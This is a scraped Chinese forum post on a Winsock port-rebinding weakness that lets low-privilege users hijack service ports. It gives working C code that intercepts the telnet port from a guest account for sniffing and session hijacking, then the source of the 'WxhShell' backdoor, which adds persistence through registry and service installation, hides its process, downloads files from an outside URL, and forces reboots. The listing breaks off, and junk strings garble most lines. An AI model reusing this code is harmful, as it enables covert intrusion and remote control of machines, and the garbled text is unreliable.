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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WY ^K7U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _ZvX"{y~  
EWvid4QEi  
  saddr.sin_family = AF_INET; 9DocId.  
h?O%XnD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %%-Tjw o  
9"l%tq_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &b#NF1Q.  
i~M.F=I5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {UjIxV(J  
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  这意味着什么?意味着可以进行如下的攻击: ,'@ISCK^  
DW;.R<8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J1wGK|F~  
PeR<FSF ,i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }Q,C;!'"  
r|sy_Sk/{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @%okaj#IO  
c9TkIe  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >5YYij5Aj  
Tu T=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @zpHem dB  
aG&kl O>m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z_TbM^N  
@eD2<e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W71#NjM2Z  
;R-Q,aCM}  
  #include m_Y}>  
  #include |@uhq>&  
  #include Hwi7oXP  
  #include    Wn)A/Z ^r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .m % x-i  
  int main() N/SB}F j  
  { v,O&UrZ  
  WORD wVersionRequested; 4iB)oR  
  DWORD ret; Ymh2qGcj]8  
  WSADATA wsaData; UHm+5%ZC  
  BOOL val; :j!_XMyT:  
  SOCKADDR_IN saddr; wz2)seZY  
  SOCKADDR_IN scaddr; Lzb [%?  
  int err; So0,)  
  SOCKET s; W!Os ci  
  SOCKET sc; oI"Fpo  
  int caddsize; SX<>6vH&  
  HANDLE mt; N,'qMoNf  
  DWORD tid;   GVPEene  
  wVersionRequested = MAKEWORD( 2, 2 ); 7*W$GCd8  
  err = WSAStartup( wVersionRequested, &wsaData ); 5EZr"  
  if ( err != 0 ) { P xuz {  
  printf("error!WSAStartup failed!\n"); N=}Z#  
  return -1; hB1iSm  
  } 5nlyb,"^g  
  saddr.sin_family = AF_INET; \y+F!;IxL  
   BB}iBf I'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s#CEhb  
; yC`5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aIyY%QT  
  saddr.sin_port = htons(23); TEy.zzt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]0nC;|]@Lx  
  { H5rNLfw '  
  printf("error!socket failed!\n"); F;l<>|vG  
  return -1; z[I/ AORl  
  } %.  }  
  val = TRUE; %1l80Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 st^N QL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [ Sa C  
  { 5s2}nIe  
  printf("error!setsockopt failed!\n"); M;@03 x W  
  return -1; yH0ZSv  
  } 'g, x}6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P=hf/jOv9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gf8U &;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P bC>v  
k.VOS 0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K":tr~V;  
  { 3). c [F^l  
  ret=GetLastError(); IOsDVIXL\  
  printf("error!bind failed!\n"); m,"tdVo.  
  return -1; G@6,O-Sj  
  } Wam?(!{mOf  
  listen(s,2); <cd%n-  
  while(1) c35vjYQx0  
  { WUQh[A41  
  caddsize = sizeof(scaddr); Fd=`9N9  
  //接受连接请求 =Qq^=3@h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N`:b vr  
  if(sc!=INVALID_SOCKET) `'t;BXedz/  
  { bao5^t}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JHOBg{Wg  
  if(mt==NULL) G~j<I/)"  
  { omU)hFvyS  
  printf("Thread Creat Failed!\n"); v[=E f  
  break; ]qT r4`.  
  } b-gVRf#F  
  } Ol^EQLO  
  CloseHandle(mt); 9O_N iu0  
  } mqxy(zS]  
  closesocket(s); W- B[_  
  WSACleanup(); sX?7`n1U  
  return 0; UjK&`a ;V  
  }   ^d=@RTyo/  
  DWORD WINAPI ClientThread(LPVOID lpParam) Dy'l]vN$  
  { qt;Tfuo  
  SOCKET ss = (SOCKET)lpParam; J#5o  
  SOCKET sc; s:.XF|e{  
  unsigned char buf[4096]; [wxI X  
  SOCKADDR_IN saddr; ;'+cT.cmH  
  long num; L*Cf&c`8r  
  DWORD val; qf{B  
  DWORD ret; Z-V%lRQ=b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZX}"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y6yseR!  
  saddr.sin_family = AF_INET; Lu5.$b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NGzqiu"J  
  saddr.sin_port = htons(23); {iteC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1Ac1CsK*  
  { )eyxAg  
  printf("error!socket failed!\n"); >gl<$LQ?X  
  return -1; vG}oo  
  } 6XU5T5+P^  
  val = 100; u{ d`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X Y?@^  
  { )o,0aGo>Of  
  ret = GetLastError(); @=1``z#  
  return -1; !Z)^c&  
  } b DvbM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (ytkq(  
  { I(S6DkU  
  ret = GetLastError(); N#ObxOE6T"  
  return -1; QQcj"s  
  } 2geC3v% 0o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^%^0x'"  
  { 9jO+ew  
  printf("error!socket connect failed!\n"); N$b;8F  
  closesocket(sc); I'YotV7  
  closesocket(ss); (`xnA~BN  
  return -1; k"c_x*f  
  } F4{<;4N0  
  while(1) pP& M]'  
  { y?hW#l~#X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %tLq&tyeY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c^k. <EA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4Fq}*QJ-  
  num = recv(ss,buf,4096,0); &9{BuBO[  
  if(num>0) 0&~u0B{  
  send(sc,buf,num,0); \]El%j4  
  else if(num==0) Z;s-t\C  
  break; g&wQ^  
  num = recv(sc,buf,4096,0); +.cv,1Vx  
  if(num>0) |SleSgS<#  
  send(ss,buf,num,0); i|GC 'XD@  
  else if(num==0) h#nQd=H<g#  
  break; _%B`Y ?I`  
  } E]Q)pZ{Jb  
  closesocket(ss); * vD<6qf  
  closesocket(sc); P!EX;+7+x  
  return 0 ; g7-K62bb  
  } NR{:4zJT  
4r&~=up]  
'~ 0&m]N  
========================================================== W aU_Z/{0  
;;5i'h~?]J  
下边附上一个代码,,WXhSHELL ],|B4\b;  
^e ii 4  
========================================================== 8EA?'~"  
(0S7  
#include "stdafx.h" rJ>8|K[kt  
f6)H!SI  
#include <stdio.h> *Yw6UCO  
#include <string.h> R#M).2::  
#include <windows.h> :Ib\v88WIv  
#include <winsock2.h> d\M !o*U  
#include <winsvc.h> 7&1: ]{_  
#include <urlmon.h> EK_^#b  
sP%.o7&n  
#pragma comment (lib, "Ws2_32.lib") >rubMGb  
#pragma comment (lib, "urlmon.lib") +l(}5(wc  
><~hOK?v  
#define MAX_USER   100 // 最大客户端连接数 I5]zOKlVR  
#define BUF_SOCK   200 // sock buffer w0iE x1i  
#define KEY_BUFF   255 // 输入 buffer rB]/N,R   
u.6%n. g  
#define REBOOT     0   // 重启 F ReK  
#define SHUTDOWN   1   // 关机 T*m_rDDt  
da@ .J9  
#define DEF_PORT   5000 // 监听端口 v#xF;@G  
om6R/K  
#define REG_LEN     16   // 注册表键长度 ,fn=%tiUk  
#define SVC_LEN     80   // NT服务名长度 }=gGs  
}: e9\r)  
// 从dll定义API ;f Gi5=-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4tjRju?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xmDwoLU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m`~ Qr~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ai;Pht9qi  
65v'/m!ys  
// wxhshell配置信息 ~WSC6Bh@9  
struct WSCFG { |wx1 [xZ  
  int ws_port;         // 监听端口 yyc&'J  
  char ws_passstr[REG_LEN]; // 口令 Nsq%b?#  
  int ws_autoins;       // 安装标记, 1=yes 0=no iKwVYL  
  char ws_regname[REG_LEN]; // 注册表键名 .PgkHb=l@  
  char ws_svcname[REG_LEN]; // 服务名 *6L^A`_1]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uY,FugWbl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x/~M=][tN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3-'|hb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gK /K Z8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4)_ [)MZ\j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OuoZd!"qf  
$)3/N&GXR  
}; {+;8dtZ)x  
V.J%4&^X  
// default Wxhshell configuration ZfU_4Pl->  
struct WSCFG wscfg={DEF_PORT, @u^Ib33  
    "xuhuanlingzhe", 43Q&<r$[T  
    1, <9"i_d%  
    "Wxhshell", CJ_B.  
    "Wxhshell", Z5Cv$bUc  
            "WxhShell Service", W3b\LnUa  
    "Wrsky Windows CmdShell Service", ~X/T6(n$  
    "Please Input Your Password: ", [>E0(S]  
  1, @OpcS>:R  
  "http://www.wrsky.com/wxhshell.exe", ; OsN^   
  "Wxhshell.exe" Hi Yx(hY  
    }; %}/)_RzQ  
4J  s>yP  
// 消息定义模块 r"+ WUU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kcle|B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )lbF'.i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pmC@ fB  
char *msg_ws_ext="\n\rExit."; vd~O:=)4  
char *msg_ws_end="\n\rQuit."; x{m)I <.:  
char *msg_ws_boot="\n\rReboot..."; 4[?Q*f!  
char *msg_ws_poff="\n\rShutdown..."; ep5aBrN]"  
char *msg_ws_down="\n\rSave to "; L>B0%TP^  
wP%;9y2B  
char *msg_ws_err="\n\rErr!"; <:?&}'aA  
char *msg_ws_ok="\n\rOK!"; X*T9`]l6  
&("?6%GC  
char ExeFile[MAX_PATH]; &7 ,wdG  
int nUser = 0; T*oH tpFj#  
HANDLE handles[MAX_USER]; hRP0Djc  
int OsIsNt; ,#crtX  
A)xI. Q6  
SERVICE_STATUS       serviceStatus; .+y#7-#6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *)`:Nm~y  
qcK)J/K"  
// 函数声明 ^/c|s!U^  
int Install(void); #\}hN~@F  
int Uninstall(void); X_h+\ 7N>  
int DownloadFile(char *sURL, SOCKET wsh); YXvKDw'95  
int Boot(int flag); .}tL:^'~o  
void HideProc(void); HV}NT~  
int GetOsVer(void); &c]x;#-y  
int Wxhshell(SOCKET wsl); ;j$84o{  
void TalkWithClient(void *cs);  *q^'%'  
int CmdShell(SOCKET sock); ! M bRI  
int StartFromService(void); $z<CkMP!U7  
int StartWxhshell(LPSTR lpCmdLine); og>f1NwS[  
bHp|> g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q+K`+& @\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M?,;TJ7Gd  
;,viE~n  
// 数据结构和表定义 :A[ Gtc(_  
SERVICE_TABLE_ENTRY DispatchTable[] = ( nBsf1l  
{ zmdOL9"a  
{wscfg.ws_svcname, NTServiceMain}, .8"o&%$`V  
{NULL, NULL} As"'KR  
}; +/ #J]v-  
cJt#8P  
// 自我安装 rTi.k  
int Install(void) ^#G>P0mG%  
{  (vY10W{  
  char svExeFile[MAX_PATH]; X3nwA#If1  
  HKEY key; U<*dDE~z  
  strcpy(svExeFile,ExeFile); *@O;IiSE  
9qw~]W~Nm  
// 如果是win9x系统,修改注册表设为自启动 ^!A{ 4NV  
if(!OsIsNt) { }Iu6]?|'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }RD,JgmV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6:e0?R^aD"  
  RegCloseKey(key); D,NjDIG8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rP*?a~<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *6uiOtH  
  RegCloseKey(key); giI9-C  
  return 0; C4b3ZcD2  
    } *bR _ C"-  
  } FCg,p2  
} W7.]V)$wM  
else { }+SnY8A=KZ  
sUg7  
// 如果是NT以上系统,安装为系统服务 2hquE_1S[w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hRME;/r]X  
if (schSCManager!=0) }@x0@sI9  
{ o<x2,uT  
  SC_HANDLE schService = CreateService p}C3<[Nk  
  ( RlpW)\{j?  
  schSCManager, `/0FXb 8h  
  wscfg.ws_svcname, tf>?;  
  wscfg.ws_svcdisp, C3 D1rS/I  
  SERVICE_ALL_ACCESS, ~V(WD;Mk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k&9 b&-=fk  
  SERVICE_AUTO_START, 9D&ocV3QV  
  SERVICE_ERROR_NORMAL, grv 3aa@  
  svExeFile, xNT[((  
  NULL, : G<1   
  NULL, OYe @P  
  NULL, .rwZ`MP  
  NULL, ,UY],;ib  
  NULL ^G5 _d"Gr  
  ); [~$9n_O94  
  if (schService!=0) 42Z2Mjtk  
  { J.~$^-&!  
  CloseServiceHandle(schService); N8:vn0ww  
  CloseServiceHandle(schSCManager); :c c#e&BO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <x,$ODso  
  strcat(svExeFile,wscfg.ws_svcname); {"O'kx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { si)920?E&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \vKMNk;kz  
  RegCloseKey(key); =T9QmEBm  
  return 0; $LKniK  
    } mhh8<BI  
  } 92XzbbLp  
  CloseServiceHandle(schSCManager);  /I="+  
} P.LMu  
} vX&Nh"0H&  
EFV'hMjS)  
return 1; i :@00)V{,  
} {]`O$S  
K o,O!T.  
// 自我卸载 X5=Dc+  
int Uninstall(void) ]5B5J  
{ k|1/gd5  
  HKEY key; FhW\23OC  
5v8_ji#l[  
if(!OsIsNt) { |_Z(}% <o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MH1??vW  
  RegDeleteValue(key,wscfg.ws_regname); uT ngDk  
  RegCloseKey(key); ( J5E]NV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =ejkE; %L  
  RegDeleteValue(key,wscfg.ws_regname); @"];\E$sI  
  RegCloseKey(key); ShFSBD\M#  
  return 0; GJU84Xn7  
  } $GEY*uIOa  
} GoZr[=d  
} NEJxd%-  
else { Yaht<Hy  
B xq(+^T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^lf{IM-Y  
if (schSCManager!=0) Wfz&:J#  
{ e%SQ~n=H 9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q % )fuI  
  if (schService!=0) dFK/  
  { RoT}L#!!  
  if(DeleteService(schService)!=0) { N =)9O  
  CloseServiceHandle(schService); 89@gYA"Su  
  CloseServiceHandle(schSCManager); YqrieDFay!  
  return 0; 3Jf_3c  
  } l>Z"y\l =  
  CloseServiceHandle(schService); *?+E?AGe  
  } V!(Ty%7  
  CloseServiceHandle(schSCManager); V'^Hn?1^  
} D!+d]A[r  
} .sgP3Ah  
.e~17}Ka}  
return 1; `~F=  
} *{/BPc0*  
txw:m*(%  
// 从指定url下载文件 4DaLmQ2O  
int DownloadFile(char *sURL, SOCKET wsh) 9])dLL0  
{ =E,^ +`M  
  HRESULT hr; >S,yqKp37~  
char seps[]= "/"; +"'cSAK  
char *token; V*"-@  
char *file; Gk g)\ 3  
char myURL[MAX_PATH]; N*gnwrP{  
char myFILE[MAX_PATH]; )OS^tG[=  
4[v %]g`  
strcpy(myURL,sURL); IZoS2^:yw  
  token=strtok(myURL,seps); N^jQ\|A<  
  while(token!=NULL) Z.ky=vCt  
  { TFjb1 a,)  
    file=token; %7 7v'Pz1  
  token=strtok(NULL,seps); [< Bk% B5  
  } ]nY,%XE  
Qo+I98LX[  
GetCurrentDirectory(MAX_PATH,myFILE); h(l4\)  
strcat(myFILE, "\\"); Lk9X>`b#B  
strcat(myFILE, file); hRHqG  
  send(wsh,myFILE,strlen(myFILE),0); ;shhg z$  
send(wsh,"...",3,0); UJ* D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qwM71B!r  
  if(hr==S_OK) Qyx%:PE  
return 0; =dSH8C"  
else s]@()?.E$  
return 1; b"DaLwKkz  
L3/m}AH,  
} V{+'(<SV  
pyJY]"UHVE  
// 系统电源模块 8lk@ev=O&  
int Boot(int flag) uxLT*,  
{ #eadkj #;  
  HANDLE hToken; ""q76cx  
  TOKEN_PRIVILEGES tkp; 589hfET  
Dukvi;\  
  if(OsIsNt) { jfF   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G<:_O-cPSv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GCm(3%{V%(  
    tkp.PrivilegeCount = 1; ova4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cNOtfn6?F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^h\& l{e  
if(flag==REBOOT) {  ~ "Xcd8:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Zawnx=  
  return 0; nI]8w6eCV  
} 0vR gmn  
else { c_wvuKa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) blyU5 3g  
  return 0; 0P i+ (X  
} [}:;B$,  
  } ynY(  
  else { Vi1l^ Za  
if(flag==REBOOT) { ?i'N 9 /(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F#NuZ'U  
  return 0; ~;$,h ET  
} 1seWR"  
else { GYH{_Fq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +)$oy]  
  return 0; rZ`+g7&^Fh  
} ,Y9bXC8+dU  
} cH>@ZFTF  
[>--U)/  
return 1; e7tp4M9!%  
} ^I W5c>;|  
r)<c ~\0 7  
// win9x进程隐藏模块 gOb"-;Zw  
void HideProc(void) M]|tXo$?  
{ 4Ys\<\~d  
(-S\%,hO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ak1?MKV.  
  if ( hKernel != NULL ) |Yb]@9 >vn  
  { zu/BDyF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cPunMHD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qh9d .Q+n  
    FreeLibrary(hKernel); zD^*->`p  
  } Aq 5CF`e{  
R ?62g H  
return; {:;6 *W  
} c o 8bnH  
0nr5(4h  
// 获取操作系统版本 nMM:Tr  
int GetOsVer(void) ~cr##Ff 5  
{ iy!SqC  
  OSVERSIONINFO winfo; E)>.2{]C>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); okm }%#|  
  GetVersionEx(&winfo); O}s Mqh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P*6h $T  
  return 1; B<$(Nb5<  
  else ~#MXhhqB  
  return 0; b I"+b\K  
} ^iA_<@[`X[  
NJ^Bv`  
// 客户端句柄模块 _w}l,   
int Wxhshell(SOCKET wsl) je;C}4  
{ h;[<4zw  
  SOCKET wsh; 1u8 k}  
  struct sockaddr_in client; g{6FpuA|0  
  DWORD myID; 5 6JxHQu  
8&Md=ZvK`  
  while(nUser<MAX_USER)  LA]UIM@  
{ *q&^tn b  
  int nSize=sizeof(client); ;{lb_du2:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E]O/'-  
  if(wsh==INVALID_SOCKET) return 1; t 7-6A  
F5y0(=$T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @#r6->%W  
if(handles[nUser]==0) J5!-<oJ/  
  closesocket(wsh); y g:&cIr,  
else #_SsSD=.Sy  
  nUser++; -xXdT$Xd  
  } G)IK5zCDd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U3**x5F_  
v? Zo5uVoq  
  return 0; DuQW?9^232  
} {h*)|J  
-{XDQ{z<%  
// 关闭 socket ZS<`.L6B3  
void CloseIt(SOCKET wsh) nV:RL|p2jw  
{ "l 8YD&q  
closesocket(wsh); w2H^q3*  
nUser--; "IHFme@^  
ExitThread(0); H-,p.$3}  
} D_q"|D$SB  
}Y"vUl_I2  
// 客户端请求句柄 G\z5Ue*  
void TalkWithClient(void *cs) 8kLHQ0pmu  
{ QXu[<V  
!$NQF/Ol  
  SOCKET wsh=(SOCKET)cs; Z'UhJuD5  
  char pwd[SVC_LEN]; }Uu#N H  
  char cmd[KEY_BUFF]; }  fa  
char chr[1]; p%R+c  
int i,j; +'/C(5y)0X  
~ <36vsk  
  while (nUser < MAX_USER) { z3c7  
\`0s %F:V}  
if(wscfg.ws_passstr) { p`2Q6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mclV" ?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~8&P*oFC  
  //ZeroMemory(pwd,KEY_BUFF); y?V^S;}&]  
      i=0; oj/#wF+  
  while(i<SVC_LEN) { I5@8=rFk  
K&VMhMVb  
  // 设置超时 r=HL!XFk  
  fd_set FdRead; bU\T  
  struct timeval TimeOut; G<-<>)zO!  
  FD_ZERO(&FdRead); Hqtv`3g  
  FD_SET(wsh,&FdRead); )(9[>_+40  
  TimeOut.tv_sec=8; Ft^X[5G4L  
  TimeOut.tv_usec=0; Jcy+(7lE)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  p9 G{Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7|xu)zYB  
WMa`! Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y P,>vzW  
  pwd=chr[0]; 6e S~*  
  if(chr[0]==0xd || chr[0]==0xa) { LJ6L#es2  
  pwd=0; j}O qWX>/  
  break; ]N2! 'c  
  } D*>#]0X  
  i++; QHxof7  
    } ;F_P<b 2  
\.'[!GE*c  
  // 如果是非法用户,关闭 socket 1Va=.#<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F9"Xu-g  
} Z~w2m6;s  
O!t=,F1j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ih N^*P:Fo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lMl'+ yy  
zGdYk-H3TH  
while(1) { /'/i?9:  
4jc?9(y%  
  ZeroMemory(cmd,KEY_BUFF); vjzG H*  
D |=L)\  
      // 自动支持客户端 telnet标准   UhJ{MUH`  
  j=0; SOZs!9oi  
  while(j<KEY_BUFF) { yDJy'Z_F{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gr>CdB>~+  
  cmd[j]=chr[0]; )FSEHQ  
  if(chr[0]==0xa || chr[0]==0xd) { 2OpkRFFa  
  cmd[j]=0; Be9,m!on  
  break; z%1e>`\E  
  } +v~x_E5FP  
  j++; qyAnq%B}  
    } -&Q+x,.%  
artn _  
  // 下载文件 dz^b(q  
  if(strstr(cmd,"http://")) { P,xIDj4d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^?wR{q"8  
  if(DownloadFile(cmd,wsh)) M.xZU\'ty  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); puLgc$?  
  else F v*QcB9K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _%er,Ed  
  } x4/{XRQ  
  else { @lq)L  
A;^ iy]"  
    switch(cmd[0]) { cU-A1W  
  NMQG[py!f  
  // 帮助 t\h4-dJn  
  case '?': { _Hd|y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |Y8}*C\M.h  
    break; 1szObhN-l  
  } V= -  
  // 安装 *o38f>aJl  
  case 'i': { R(*t 1R\  
    if(Install()) l p(D@FT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Lq2K3JHyn  
    else V1,/qd_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g*(z .  
    break; LuHRB}W  
    } &2U%/JqY  
  // 卸载  WzoI0E`  
  case 'r': { pF7N = mO  
    if(Uninstall()) :b*7TJ\grN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G"m?2$^-A  
    else `qYiic%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $2,tT;50g  
    break; LR{bNV[i  
    } 0}"\3EdAbD  
  // 显示 wxhshell 所在路径 W9pY=9]p+  
  case 'p': { nF_q{e7  
    char svExeFile[MAX_PATH]; YU"/p|!1  
    strcpy(svExeFile,"\n\r"); I 44]W&  
      strcat(svExeFile,ExeFile); i]N<xcF9N*  
        send(wsh,svExeFile,strlen(svExeFile),0); w@&z0ODJ  
    break; I`*5z;Q!%@  
    } S0Io$\ha  
  // 重启 wP*3Hx;S  
  case 'b': { o&&`_"18  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kc95yt  
    if(Boot(REBOOT)) 7y&6q`y E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nu7 R  
    else { NJ+$3n om  
    closesocket(wsh); vy}_aD{B  
    ExitThread(0); 4I$Y"|_e  
    } ;[UI ]?A%  
    break; e[?,'Mp9  
    } :V5 Co!/+  
  // 关机 BWQ`8  
  case 'd': { SMIDW}U2S  
